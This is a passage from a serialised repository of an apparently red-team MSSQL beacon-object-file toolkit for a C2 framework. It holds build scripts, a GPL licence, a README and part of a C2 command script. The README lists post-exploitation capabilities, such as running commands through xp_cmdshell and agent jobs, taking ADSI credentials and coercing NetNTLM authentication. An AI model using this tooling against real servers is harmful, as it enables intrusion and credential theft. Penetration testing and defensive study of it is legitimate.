${CMAKE_CURRENT_SOURCE_DIR}/_bin/SQL)\n\n# Macro for copy targets\nmacro(sql_copy_target target_name output_name)\n    add_custom_target(copy_${target_name} ALL\n        COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:${target_name}> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/SQL/${output_name}.x64.o\n        DEPENDS ${target_name}\n        COMMENT \"Copying ${output_name} object file\"\n    )\nendmacro()\n\n# Copy targets\nsql_copy_target(sql_1434udp 1434udp)\nsql_copy_target(sql_adsi adsi)\nsql_copy_target(sql_agentcmd agentcmd)\nsql_copy_target(sql_agentstatus agentstatus)\nsql_copy_target(sql_checkrpc checkrpc)\nsql_copy_target(sql_clr clr)\nsql_copy_target(sql_columns columns)\nsql_copy_target(sql_databases databases)\nsql_copy_target(sql_togglemodule togglemodule)\nsql_copy_target(sql_impersonate impersonate)\nsql_copy_target(sql_info info)\nsql_copy_target(sql_links links)\nsql_copy_target(sql_olecmd olecmd)\nsql_copy_target(sql_query query)\nsql_copy_target(sql_rows rows)\nsql_copy_target(sql_search search)\nsql_copy_target(sql_smb smb)\nsql_copy_target(sql_tables tables)\nsql_copy_target(sql_users users)\nsql_copy_target(sql_whoami whoami)\nsql_copy_target(sql_xpcmd xpcmd)\n"
  },
  {
    "path": "AD-BOF/SQL-BOF/LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 2, June 1991\n\n Copyright (C) 1989, 1991 Free Software Foundation, Inc.,\n 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The licenses for most software are designed to take away your\nfreedom to share and change it.  By contrast, the GNU General Public\nLicense is intended to guarantee your freedom to share and change free\nsoftware--to make sure the software is free for all its users.  This\nGeneral Public License applies to most of the Free Software\nFoundation's software and to any other program whose authors commit to\nusing it.  (Some other Free Software Foundation software is covered by\nthe GNU Lesser General Public License instead.)  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthis service if you wish), that you receive source code or can get it\nif you want it, that you can change the software or use pieces of it\nin new free programs; and that you know you can do these things.\n\n  To protect your rights, we need to make restrictions that forbid\nanyone to deny you these rights or to ask you to surrender the rights.\nThese restrictions translate to certain responsibilities for you if you\ndistribute copies of the software, or if you modify it.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must give the recipients all the rights that\nyou have.  You must make sure that they, too, receive or can get the\nsource code.  And you must show them these terms so they know their\nrights.\n\n  We protect your rights with two steps: (1) copyright the software, and\n(2) offer you this license which gives you legal permission to copy,\ndistribute and/or modify the software.\n\n  Also, for each author's protection and ours, we want to make certain\nthat everyone understands that there is no warranty for this free\nsoftware.  If the software is modified by someone else and passed on, we\nwant its recipients to know that what they have is not the original, so\nthat any problems introduced by others will not reflect on the original\nauthors' reputations.\n\n  Finally, any free program is threatened constantly by software\npatents.  We wish to avoid the danger that redistributors of a free\nprogram will individually obtain patent licenses, in effect making the\nprogram proprietary.  To prevent this, we have made it clear that any\npatent must be licensed for everyone's free use or not licensed at all.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                    GNU GENERAL PUBLIC LICENSE\n   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION\n\n  0. This License applies to any program or other work which contains\na notice placed by the copyright holder saying it may be distributed\nunder the terms of this General Public License.  The \"Program\", below,\nrefers to any such program or work, and a \"work based on the Program\"\nmeans either the Program or any derivative work under copyright law:\nthat is to say, a work containing the Program or a portion of it,\neither verbatim or with modifications and/or translated into another\nlanguage.  (Hereinafter, translation is included without limitation in\nthe term \"modification\".)  Each licensee is addressed as \"you\".\n\nActivities other than copying, distribution and modification are not\ncovered by this License; they are outside its scope.  The act of\nrunning the Program is not restricted, and the output from the Program\nis covered only if its contents constitute a work based on the\nProgram (independent of having been made by running the Program).\nWhether that is true depends on what the Program does.\n\n  1. You may copy and distribute verbatim copies of the Program's\nsource code as you receive it, in any medium, provided that you\nconspicuously and appropriately publish on each copy an appropriate\ncopyright notice and disclaimer of warranty; keep intact all the\nnotices that refer to this License and to the absence of any warranty;\nand give any other recipients of the Program a copy of this License\nalong with the Program.\n\nYou may charge a fee for the physical act of transferring a copy, and\nyou may at your option offer warranty protection in exchange for a fee.\n\n  2. You may modify your copy or copies of the Program or any portion\nof it, thus forming a work based on the Program, and copy and\ndistribute such modifications or work under the terms of Section 1\nabove, provided that you also meet all of these conditions:\n\n    a) You must cause the modified files to carry prominent notices\n    stating that you changed the files and the date of any change.\n\n    b) You must cause any work that you distribute or publish, that in\n    whole or in part contains or is derived from the Program or any\n    part thereof, to be licensed as a whole at no charge to all third\n    parties under the terms of this License.\n\n    c) If the modified program normally reads commands interactively\n    when run, you must cause it, when started running for such\n    interactive use in the most ordinary way, to print or display an\n    announcement including an appropriate copyright notice and a\n    notice that there is no warranty (or else, saying that you provide\n    a warranty) and that users may redistribute the program under\n    these conditions, and telling the user how to view a copy of this\n    License.  (Exception: if the Program itself is interactive but\n    does not normally print such an announcement, your work based on\n    the Program is not required to print an announcement.)\n\nThese requirements apply to the modified work as a whole.  If\nidentifiable sections of that work are not derived from the Program,\nand can be reasonably considered independent and separate works in\nthemselves, then this License, and its terms, do not apply to those\nsections when you distribute them as separate works.  But when you\ndistribute the same sections as part of a whole which is a work based\non the Program, the distribution of the whole must be on the terms of\nthis License, whose permissions for other licensees extend to the\nentire whole, and thus to each and every part regardless of who wrote it.\n\nThus, it is not the intent of this section to claim rights or contest\nyour rights to work written entirely by you; rather, the intent is to\nexercise the right to control the distribution of derivative or\ncollective works based on the Program.\n\nIn addition, mere aggregation of another work not based on the Program\nwith the Program (or with a work based on the Program) on a volume of\na storage or distribution medium does not bring the other work under\nthe scope of this License.\n\n  3. You may copy and distribute the Program (or a work based on it,\nunder Section 2) in object code or executable form under the terms of\nSections 1 and 2 above provided that you also do one of the following:\n\n    a) Accompany it with the complete corresponding machine-readable\n    source code, which must be distributed under the terms of Sections\n    1 and 2 above on a medium customarily used for software interchange; or,\n\n    b) Accompany it with a written offer, valid for at least three\n    years, to give any third party, for a charge no more than your\n    cost of physically performing source distribution, a complete\n    machine-readable copy of the corresponding source code, to be\n    distributed under the terms of Sections 1 and 2 above on a medium\n    customarily used for software interchange; or,\n\n    c) Accompany it with the information you received as to the offer\n    to distribute corresponding source code.  (This alternative is\n    allowed only for noncommercial distribution and only if you\n    received the program in object code or executable form with such\n    an offer, in accord with Subsection b above.)\n\nThe source code for a work means the preferred form of the work for\nmaking modifications to it.  For an executable work, complete source\ncode means all the source code for all modules it contains, plus any\nassociated interface definition files, plus the scripts used to\ncontrol compilation and installation of the executable.  However, as a\nspecial exception, the source code distributed need not include\nanything that is normally distributed (in either source or binary\nform) with the major components (compiler, kernel, and so on) of the\noperating system on which the executable runs, unless that component\nitself accompanies the executable.\n\nIf distribution of executable or object code is made by offering\naccess to copy from a designated place, then offering equivalent\naccess to copy the source code from the same place counts as\ndistribution of the source code, even though third parties are not\ncompelled to copy the source along with the object code.\n\n  4. You may not copy, modify, sublicense, or distribute the Program\nexcept as expressly provided under this License.  Any attempt\notherwise to copy, modify, sublicense or distribute the Program is\nvoid, and will automatically terminate your rights under this License.\nHowever, parties who have received copies, or rights, from you under\nthis License will not have their licenses terminated so long as such\nparties remain in full compliance.\n\n  5. You are not required to accept this License, since you have not\nsigned it.  However, nothing else grants you permission to modify or\ndistribute the Program or its derivative works.  These actions are\nprohibited by law if you do not accept this License.  Therefore, by\nmodifying or distributing the Program (or any work based on the\nProgram), you indicate your acceptance of this License to do so, and\nall its terms and conditions for copying, distributing or modifying\nthe Program or works based on it.\n\n  6. Each time you redistribute the Program (or any work based on the\nProgram), the recipient automatically receives a license from the\noriginal licensor to copy, distribute or modify the Program subject to\nthese terms and conditions.  You may not impose any further\nrestrictions on the recipients' exercise of the rights granted herein.\nYou are not responsible for enforcing compliance by third parties to\nthis License.\n\n  7. If, as a consequence of a court judgment or allegation of patent\ninfringement or for any other reason (not limited to patent issues),\nconditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot\ndistribute so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you\nmay not distribute the Program at all.  For example, if a patent\nlicense would not permit royalty-free redistribution of the Program by\nall those who receive copies directly or indirectly through you, then\nthe only way you could satisfy both it and this License would be to\nrefrain entirely from distribution of the Program.\n\nIf any portion of this section is held invalid or unenforceable under\nany particular circumstance, the balance of the section is intended to\napply and the section as a whole is intended to apply in other\ncircumstances.\n\nIt is not the purpose of this section to induce you to infringe any\npatents or other property right claims or to contest validity of any\nsuch claims; this section has the sole purpose of protecting the\nintegrity of the free software distribution system, which is\nimplemented by public license practices.  Many people have made\ngenerous contributions to the wide range of software distributed\nthrough that system in reliance on consistent application of that\nsystem; it is up to the author/donor to decide if he or she is willing\nto distribute software through any other system and a licensee cannot\nimpose that choice.\n\nThis section is intended to make thoroughly clear what is believed to\nbe a consequence of the rest of this License.\n\n  8. If the distribution and/or use of the Program is restricted in\ncertain countries either by patents or by copyrighted interfaces, the\noriginal copyright holder who places the Program under this License\nmay add an explicit geographical distribution limitation excluding\nthose countries, so that distribution is permitted only in or among\ncountries not thus excluded.  In such case, this License incorporates\nthe limitation as if written in the body of this License.\n\n  9. The Free Software Foundation may publish revised and/or new versions\nof the General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\nEach version is given a distinguishing version number.  If the Program\nspecifies a version number of this License which applies to it and \"any\nlater version\", you have the option of following the terms and conditions\neither of that version or of any later version published by the Free\nSoftware Foundation.  If the Program does not specify a version number of\nthis License, you may choose any version ever published by the Free Software\nFoundation.\n\n  10. If you wish to incorporate parts of the Program into other free\nprograms whose distribution conditions are different, write to the author\nto ask for permission.  For software which is copyrighted by the Free\nSoftware Foundation, write to the Free Software Foundation; we sometimes\nmake exceptions for this.  Our decision will be guided by the two goals\nof preserving the free status of all derivatives of our free software and\nof promoting the sharing and reuse of software generally.\n\n                            NO WARRANTY\n\n  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY\nFOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN\nOTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES\nPROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED\nOR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\nMERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS\nTO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE\nPROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,\nREPAIR OR CORRECTION.\n\n  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR\nREDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,\nINCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING\nOUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED\nTO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY\nYOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER\nPROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGES.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nconvey the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software; you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License along\n    with this program; if not, write to the Free Software Foundation, Inc.,\n    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n\nAlso add information on how to contact you by electronic and paper mail.\n\nIf the program is interactive, make it output a short notice like this\nwhen it starts in an interactive mode:\n\n    Gnomovision version 69, Copyright (C) year name of author\n    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, the commands you use may\nbe called something other than `show w' and `show c'; they could even be\nmouse-clicks or menu items--whatever suits your program.\n\nYou should also get your employer (if you work as a programmer) or your\nschool, if any, to sign a \"copyright disclaimer\" for the program, if\nnecessary.  Here is a sample; alter the names:\n\n  Yoyodyne, Inc., hereby disclaims all copyright interest in the program\n  `Gnomovision' (which makes passes at compilers) written by James Hacker.\n\n  <signature of Ty Coon>, 1 April 1989\n  Ty Coon, President of Vice\n\nThis General Public License does not permit incorporating your program into\nproprietary programs.  If your program is a subroutine library, you may\nconsider it more useful to permit linking proprietary applications with the\nlibrary.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.\n"
  },
  {
    "path": "AD-BOF/SQL-BOF/Makefile",
    "content": "CC64 = x86_64-w64-mingw32-gcc\nSTRIP64 = x86_64-w64-mingw32-strip --strip-unneeded\nCFLAGS = -I ./src/common -w -Wno-incompatible-pointer-types -Os -s -DBOF -c\n\nall: bof\n\nbof:\n\t@(mkdir -p _bin/SQL 2>/dev/null) && echo 'creating _bin/SQL' || echo '_bin/SQL exists'\n\t@($(CC64) $(CFLAGS) src/SQL/1434udp/entry.c -o _bin/SQL/1434udp.x64.o       && $(STRIP64) _bin/SQL/1434udp.x64.o) && echo '[+] 1434udp' || echo '[!] 1434udp'\n\t@($(CC64) $(CFLAGS) src/SQL/adsi/entry.c -o _bin/SQL/adsi.x64.o             && $(STRIP64) _bin/SQL/adsi.x64.o) && echo '[+] adsi' || echo '[!] adsi'\n\t@($(CC64) $(CFLAGS) src/SQL/agentcmd/entry.c -o _bin/SQL/agentcmd.x64.o     && $(STRIP64) _bin/SQL/agentcmd.x64.o) && echo '[+] agentcmd' || echo '[!] agentcmd'\n\t@($(CC64) $(CFLAGS) src/SQL/agentstatus/entry.c -o _bin/SQL/agentstatus.x64.o && $(STRIP64) _bin/SQL/agentstatus.x64.o) && echo '[+] agentstatus' || echo '[!] agentstatus'\n\t@($(CC64) $(CFLAGS) src/SQL/checkrpc/entry.c -o _bin/SQL/checkrpc.x64.o     && $(STRIP64) _bin/SQL/checkrpc.x64.o) && echo '[+] checkrpc' || echo '[!] checkrpc'\n\t@($(CC64) $(CFLAGS) src/SQL/clr/entry.c -o _bin/SQL/clr.x64.o               && $(STRIP64) _bin/SQL/clr.x64.o) && echo '[+] clr' || echo '[!] clr'\n\t@($(CC64) $(CFLAGS) src/SQL/columns/entry.c -o _bin/SQL/columns.x64.o       && $(STRIP64) _bin/SQL/columns.x64.o) && echo '[+] columns' || echo '[!] columns'\n\t@($(CC64) $(CFLAGS) src/SQL/databases/entry.c -o _bin/SQL/databases.x64.o   && $(STRIP64) _bin/SQL/databases.x64.o) && echo '[+] databases' || echo '[!] databases'\n\t@($(CC64) $(CFLAGS) src/SQL/togglemodule/entry.c -o _bin/SQL/togglemodule.x64.o && $(STRIP64) _bin/SQL/togglemodule.x64.o) && echo '[+] togglemodule' || echo '[!] togglemodule'\n\t@($(CC64) $(CFLAGS) src/SQL/impersonate/entry.c -o _bin/SQL/impersonate.x64.o && $(STRIP64) _bin/SQL/impersonate.x64.o) && echo '[+] impersonate' || echo '[!] impersonate'\n\t@($(CC64) $(CFLAGS) src/SQL/info/entry.c -o _bin/SQL/info.x64.o             && $(STRIP64) _bin/SQL/info.x64.o) && echo '[+] info' || echo '[!] info'\n\t@($(CC64) $(CFLAGS) src/SQL/links/entry.c -o _bin/SQL/links.x64.o           && $(STRIP64) _bin/SQL/links.x64.o) && echo '[+] links' || echo '[!] links'\n\t@($(CC64) $(CFLAGS) src/SQL/olecmd/entry.c -o _bin/SQL/olecmd.x64.o         && $(STRIP64) _bin/SQL/olecmd.x64.o) && echo '[+] olecmd' || echo '[!] olecmd'\n\t@($(CC64) $(CFLAGS) src/SQL/query/entry.c -o _bin/SQL/query.x64.o           && $(STRIP64) _bin/SQL/query.x64.o) && echo '[+] query' || echo '[!] query'\n\t@($(CC64) $(CFLAGS) src/SQL/rows/entry.c -o _bin/SQL/rows.x64.o             && $(STRIP64) _bin/SQL/rows.x64.o) && echo '[+] rows' || echo '[!] rows'\n\t@($(CC64) $(CFLAGS) src/SQL/search/entry.c -o _bin/SQL/search.x64.o         && $(STRIP64) _bin/SQL/search.x64.o) && echo '[+] search' || echo '[!] search'\n\t@($(CC64) $(CFLAGS) src/SQL/smb/entry.c -o _bin/SQL/smb.x64.o               && $(STRIP64) _bin/SQL/smb.x64.o) && echo '[+] smb' || echo '[!] smb'\n\t@($(CC64) $(CFLAGS) src/SQL/tables/entry.c -o _bin/SQL/tables.x64.o         && $(STRIP64) _bin/SQL/tables.x64.o) && echo '[+] tables' || echo '[!] tables'\n\t@($(CC64) $(CFLAGS) src/SQL/users/entry.c -o _bin/SQL/users.x64.o           && $(STRIP64) _bin/SQL/users.x64.o) && echo '[+] users' || echo '[!] users'\n\t@($(CC64) $(CFLAGS) src/SQL/whoami/entry.c -o _bin/SQL/whoami.x64.o         && $(STRIP64) _bin/SQL/whoami.x64.o) && echo '[+] whoami' || echo '[!] whoami'\n\t@($(CC64) $(CFLAGS) src/SQL/xpcmd/entry.c -o _bin/SQL/xpcmd.x64.o           && $(STRIP64) _bin/SQL/xpcmd.x64.o) && echo '[+] xpcmd' || echo '[!] xpcmd'\n\nclean:\n\t@(rm -rf _bin)"
  },
  {
    "path": "AD-BOF/SQL-BOF/README.md",
    "content": "# SQL-BOF\nA library of beacon object files to interact with remote SQL servers and data. This collection is templated off the TrustedSec [CS-Situational-Awareness-BOF](https://github.com/trustedsec/CS-Situational-Awareness-BOF) collection and models the functionality of the [SQLRecon](https://github.com/skahwah/SQLRecon) project.\n\n## Available commands\n|Commands| Usage                                                                                   |Notes|\n|--------|-----------------------------------------------------------------------------------------|-----|\n|mssql 1434udp| [server IP]                                                                             |Enumerate SQL Server connection info |\n|mssql adsi| [server] [ADSI_linkedserver] [-p port] [-d database] [-l linkedserver] [-i impersonate] |Obtain ADSI creds from ADSI linked server |\n|mssql agentcmd | [server] [command] [-d database] [-l linkedserver] [-i impersonate]                     |Execute a system command using agent jobs |\n|mssql agentstatus | [server] [-d database] [-l linkedserver] [-i impersonate]                               |Enumerate SQL agent status and jobs |\n|mssql checkrpc | [server] [-d database] [-l linkedserver] [-i impersonate]                               |Enumerate RPC status of linked servers |\n|mssql clr | [server] [dll_path] [function] [-d database] [-l linkedserver] [-i impersonate]         |Load and execute .NET assembly in a stored procedure |\n|mssql columns | [server] [table] [-d database] [-l linkedserver] [-i impersonate]                       |Enumerate columns within a table |\n|mssql databases | [server] [-d database] [-l linkedserver] [-i impersonate]                               |Enumerate databases on a server|\n|mssql disableclr | [server] [-d database] [-l linkedserver] [-i impersonate]                               |Disable CLR integration |\n|mssql disableole | [server] [-d database] [-l linkedserver] [-i impersonate]                               |Disable OLE Automation Procedures |\n|mssql disablerpc | [server] [linkedserver] [-d database] [-i impersonate]                                  |Disable RPC and RPC out on a linked server |\n|mssql disablexp | [server] [-d database] [-l linkedserver] [-i impersonate]                               |Disable xp_cmdshell |\n|mssql enableclr | [server] [-d database] [-l linkedserver] [-i impersonate]                               |Enable CLR integration |\n|mssql enableole | [server] [-d database] [-l linkedserver] [-i impersonate]                               |Enable OLE Automation Procedures |\n|mssql enablerpc | [server] [linkedserver] [-d database] [-i impersonate]                                  |Enable RPC and RPC out on a linked server |\n|mssql enablexp | [server] [-d database] [-l linkedserver] [-i impersonate]                               |Enable xp_cmdshell |\n|mssql impersonate | [server] [-d database]                                                                  |Enumerate users that can be impersonated |\n|mssql info | [server] [-d database]                                                                  |Gather information about the SQL server |\n|mssql links | [server] [-d database] [-l linkedserver] [-i impersonate]                               |Enumerate linked servers |\n|mssql olecmd | [server] [command] [-d database] [-l linkedserver] [-i impersonate]                     |Execute a system command using OLE automation procedures |\n|mssql query | [server] [query] [-d database] [-l linkedserver] [-i impersonate]                       |Execute a custom SQL query |\n|mssql rows | [server] [table] [-d database] [-l linkedserver] [-i impersonate]                       |Get the count of rows in a table |\n|mssql search | [server] [search] [-d database] [-l linkedserver] [-i impersonate]                      |Search a table for a column name |\n|mssql smb | [server] [\\\\\\\\listener] [-d database] [-l linkedserver] [-i impersonate]                |Coerce NetNTLM auth via xp_dirtree |\n|mssql tables | [server] [-d database] [-l linkedserver] [-i impersonate]                               |Enumerate tables within a database |\n|mssql users | [server] [-d database] [-l linkedserver] [-i impersonate]                               |Enumerate users with database access |\n|mssql whoami | [server] [-d database] [-l linkedserver] [-i impersonate]                               |Gather logged in user, mapped user and roles |\n|mssql xpcmd | [server] [command] [-d database] [-l linkedserver] [-i impersonate]                     |Execute a system command via xp_cmdshell |\n\n## References\n- [SQLRecon](https://github.com/skahwah/SQLRecon) by [@sanjivkawa](https://twitter.com/sanjivkawa)\n- [PySQLRecon](https://github.com/Tw1sm/PySQLRecon)\n- [CS-Situational-Awareness-BOF](https://github.com/trustedsec/CS-Situational-Awareness-BOF)\n"
  },
  {
    "path": "AD-BOF/SQL-BOF/SQL.axs",
    "content": "var metadata = {\n    name: \"MSSQL-BOF\",\n    description: \"Microsof SQL Server Exploitation BOFs\"\n};\n\nvar _cmd_1434udp = ax.create_command(\"1434udp\", \"Obtain SQL Server connection information from 1434/UDP\", \"mssql 1434udp 192.168.10.10\");\n_cmd_1434udp.addArgString(\"serverIP\", true, \"SQL Server IP\");\n_cmd_1434udp.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let serverIP = parsed_json[\"serverIP\"];\n\n    let bof_params = ax.bof_pack(\"cstr\", [serverIP]);\n    let bof_path = ax.script_dir() + \"_bin/SQL/1434udp.\" + ax.arch(id) + \".o\";\n    let message = \"Task: Obtain SQL Server connection information\";\n\n    ax.execute_alias( id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message );\n});\n\n\n\nvar _cmd_adsi = ax.create_command(\"adsi\", \"Obtain ADSI creds from ADSI linked server\", \"mssql adsi [-p port] [-d database] [-l linkedserver] [-i impersonate] [-u user] [-P password] [server] [adsiserver]\");\n_cmd_adsi.addArgFlagInt(\"-p\",    \"port\",         \"Optional: ADSI port\", 0);\n_cmd_adsi.addArgFlagString(\"-d\", \"database\",     \"Optional: Database to use\", \"\");\n_cmd_adsi.addArgFlagString(\"-l\", \"linkedserver\", \"Optional: Execute through linked server\", \"\");\n_cmd_adsi.addArgFlagString(\"-i\", \"impersonate\",  \"Optional: User to impersonate during execution\", \"\");\n_cmd_adsi.addArgFlagString(\"-u\", \"user\",         \"Optional: SQL username for SQL authentication\", \"\");\n_cmd_adsi.addArgFlagString(\"-P\", \"password\",     \"Optional: SQL password for SQL authentication\", \"\");\n_cmd_adsi.addArgString(\"server\",      true, \"SQL server to connect to\");\n_cmd_adsi.addArgString(\"adsiserver\",  true, \"ADSI linked server name or address\");\n_cmd_adsi.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let server       = parsed_json[\"server\"];\n    let adsiserver   = parsed_json[\"adsiserver\"];\n    let port         = parsed_json[\"port\"];\n    let database     = parsed_json[\"database\"];\n    let linkedserver = parsed_json[\"linkedserver\"];\n    let impersonate  = parsed_json[\"impersonate\"];\n    let user         = parsed_json[\"user\"];\n    let password     = parsed_json[\"password\"];\n\n    let bof_params = ax.bof_pack( \"cstr,cstr,cstr,cstr,cstr,int,cstr,cstr\", [server, database, linkedserver, impersonate, adsiserver, port, user, password] );\n    let bof_path = ax.script_dir() + \"_bin/SQL/adsi.\" + ax.arch(id) + \".o\";\n    let message = \"Task: Obtain ADSI credentials\";\n\n    ax.execute_alias( id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message );\n});\n\n\n\nvar _cmd_agentcmd = ax.create_command(\"agentcmd\", \"Execute a system command using agent jobs\", \"mssql agentcmd [-d database] [-l linkedserver] [-i impersonate] [-u user] [-p password] [server] [command]\");\n_cmd_agentcmd.addArgFlagString(\"-d\", \"database\",     \"Optional: Database to use\", \"\");\n_cmd_agentcmd.addArgFlagString(\"-l\", \"linkedserver\", \"Optional: Execute through linked server\", \"\");\n_cmd_agentcmd.addArgFlagString(\"-i\", \"impersonate\",  \"Optional: User to impersonate during execution\", \"\");\n_cmd_agentcmd.addArgFlagString(\"-u\", \"user\",         \"Optional: SQL username for SQL authentication\", \"\");\n_cmd_agentcmd.addArgFlagString(\"-p\", \"password\",     \"Optional: SQL password for SQL authentication\", \"\");\n_cmd_agentcmd.addArgString(\"server\",      true, \"SQL server to connect to\");\n_cmd_agentcmd.addArgString(\"command\",     true, \"System command to execute via agent job\");\n_cmd_agentcmd.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let server       = parsed_json[\"server\"];\n    let command      = parsed_json[\"command\"];\n    let database     = parsed_json[\"database\"];\n    let linkedserver = parsed_json[\"linkedserver\"];\n    let impersonate  = parsed_json[\"impersonate\"];\n    let user         = parsed_json[\"user\"];\n    let password     = parsed_json[\"password\"];\n\n    let bof_params = ax.bof_pack( \"cstr,cstr,cstr,cstr,cstr,cstr,cstr\", [server, database, linkedserver, impersonate, command, user, password] );\n    let bof_path = ax.script_dir() + \"_bin/SQL/agentcmd.\" + ax.arch(id) + \".o\";\n    let message = \"Task: Execute system command via SQL Agent\";\n\n    ax.execute_alias( id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message );\n});\n\n\n\nvar _cmd_agentstatus = ax.create_command(\"agentstatus\", \"Enumerate SQL Agent status and jobs\", \"mssql agentstatus [-d database] [-l linkedserver] [-i impersonate] [-u user] [-p password] [server]\");\n_cmd_agentstatus.addArgFlagString(\"-d\", \"database\",     \"Optional: Database to use\", \"\");\n_cmd_agentstatus.addArgFlagString(\"-l\", \"linkedserver\", \"Optional: Execute through linked server\", \"\");\n_cmd_agentstatus.addArgFlagString(\"-i\", \"impersonate\",  \"Optional: User to impersonate during execution\", \"\");\n_cmd_agentstatus.addArgFlagString(\"-u\", \"user\",         \"Optional: SQL username for SQL authentication\", \"\");\n_cmd_agentstatus.addArgFlagString(\"-p\", \"password\",     \"Optional: SQL password for SQL authentication\", \"\");\n_cmd_agentstatus.addArgString(\"server\", true, \"SQL server to connect to\");\n_cmd_agentstatus.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let server       = parsed_json[\"server\"];\n    let database     = parsed_json[\"database\"];\n    let linkedserver = parsed_json[\"linkedserver\"];\n    let impersonate  = parsed_json[\"impersonate\"];\n    let user         = parsed_json[\"user\"];\n    let password     = parsed_json[\"password\"];\n\n    let bof_params = ax.bof_pack( \"cstr,cstr,cstr,cstr,cstr,cstr\", [server, database, linkedserver, impersonate, user, password] );\n    let bof_path = ax.script_dir() + \"_bin/SQL/agentstatus.\" + ax.arch(id) + \".o\";\n    let message = \"Task: Enumerate SQL Agent status and jobs\";\n\n    ax.execute_alias( id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message );\n});\n\n\n\nvar _cmd_checkrpc = ax.create_command(\"checkrpc\", \"Enumerate RPC status of linked servers\", \"mssql checkrpc [-d database] [-l linkedserver] [-i impersonate] [-u user] [-p password] [server]\");\n_cmd_checkrpc.addArgFlagString(\"-d\", \"database\",     \"Optional: Database to use\", \"\");\n_cmd_checkrpc.addArgFlagString(\"-l\", \"linkedserver\", \"Optional: Execute through linked server\", \"\");\n_cmd_checkrpc.addArgFlagString(\"-i\", \"impersonate\",  \"Optional: User to impersonate during execution\", \"\");\n_cmd_checkrpc.addArgFlagString(\"-u\", \"user\",         \"Optional: SQL username for SQL authentication\", \"\");\n_cmd_checkrpc.addArgFlagString(\"-p\", \"password\",     \"Optional: SQL password for SQL authentication\", \"\");\n_cmd_checkrpc.addArgString(\"server\", true, \"SQL server to connect to\");\n_cmd_checkrpc.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let server       = parsed_json[\"server\"];\n    let database     = parsed_json[\"database\"];\n    let linkedserver = parsed_json[\"linkedserver\"];\n    let impersonate  = parsed_json[\"impersonate\"];\n    let user         = parsed_json[\"user\"];\n    let password     = parsed_json[\"password\"];\n\n    let bof_params = ax.bof_pack( \"cstr,cstr,cstr,cstr,cstr,cstr\", [server, database, linkedserver, impersonate, user, password] );\n    let bof_path = ax.script_dir() + \"_bin/SQL/checkrpc.\" + ax.arch(id) + \".o\";\n    let message = \"Task: Enumerate RPC status on linked servers\";\n\n    ax.execute_alias( id, cmdline, `execute bof 